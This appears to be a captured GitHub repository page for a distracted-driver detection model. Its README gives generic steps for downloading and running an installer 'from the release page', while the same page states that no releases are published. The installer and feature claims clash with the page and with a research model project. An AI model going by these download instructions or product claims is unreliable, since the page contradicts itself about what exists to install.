Skip to content

πŸš— Detect driver distractions in images for improved road safety by predicting behavior like texting, talking, and reaching behind the wheel.

License

Notifications You must be signed in to change notification settings

sendyvrga/Distracted-Driver-Detection

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

5 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸš— Distracted-Driver-Detection - Identify Driving Distractions Easily

πŸ“₯ Get Your Copy

Download Distracted-Driver-Detection

πŸš€ Getting Started

Welcome to the Distracted-Driver-Detection project! This software helps identify when a driver may be distracted. Using a custom ResNet50 model, it analyzes driver behaviors and classifies them into ten categories.

πŸ” Features

  • Real-Time Detection: The system monitors driver behavior in real-time.
  • Comprehensive Analysis: It assesses various distractions to improve safety.
  • User-Friendly Interface: Simple navigation for all users.

βš™οΈ System Requirements

Before downloading, ensure your system meets the following requirements:

  • Operating System: Windows 10 or newer / macOS Mojave or newer.
  • RAM: At least 8 GB.
  • Storage: Minimum of 500 MB free space.
  • Graphics Card: For optimal performance, a GPU with CUDA support is recommended but not mandatory.

πŸ“₯ Download & Install

To get started, visit the release page and download the software:

Download Distracted-Driver-Detection

  1. Click the link above.
  2. Choose the latest version from the releases.
  3. Find the appropriate installer for your system and click on it to download.
  4. Once downloaded, locate the file in your Downloads folder.
  5. Double-click the file to run the installer.
  6. Follow the prompts to complete the installation.

πŸ“‚ Using the Application

After installation, launch the app by locating its icon on your desktop or in your applications folder. The first time you open it, you may need to grant permission for the app to access your camera. This access is crucial for detecting driver behaviors.

πŸ› οΈ Setting Up

  1. Camera Setup: Ensure your device has a working camera. Position it to capture the driver’s face.
  2. Calibration: Follow the on-screen instructions to calibrate the camera for best results.
  3. Start Monitoring: Press "Start" to initiate the detection process.

🏁 Interpreting Results

The application displays the driver’s status based on its analysis. It provides real-time feedback about whether the driver is distracted.

πŸ“š Troubleshooting

If you encounter any issues during installation or while using the app, consider the following common solutions:

  • Camera Access Issues: Make sure your camera functions properly and is not being used by another application.
  • Low Performance: Close any unnecessary applications to free system resources.
  • Installation Errors: Check your system requirements and ensure you have sufficient permissions to install software.

Handling issues promptly will help you get the most out of this application.

πŸ™‹ Frequently Asked Questions (FAQs)

How does distracted driver detection work?

The software uses advanced machine learning algorithms to analyze the driver's face and behavior, identifying signs of distraction.

Can I use this app on older operating systems?

To ensure optimal performance, it's best to use the app on supported systems, such as Windows 10 or newer.

Is my data safe?

The application does not store personal data. It processes data in real-time without saving any footage or images.

πŸ’¬ Support

If you have further questions or need support, please feel free to reach out through the issue tracker on the GitHub repository page.

πŸ“œ License

This project is licensed under the MIT License. You can use, modify, and distribute it freely.

Don't forget to check for updates on the release page regularly to ensure you have the latest version of Distracted-Driver-Detection!

Download the Latest Version Here

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •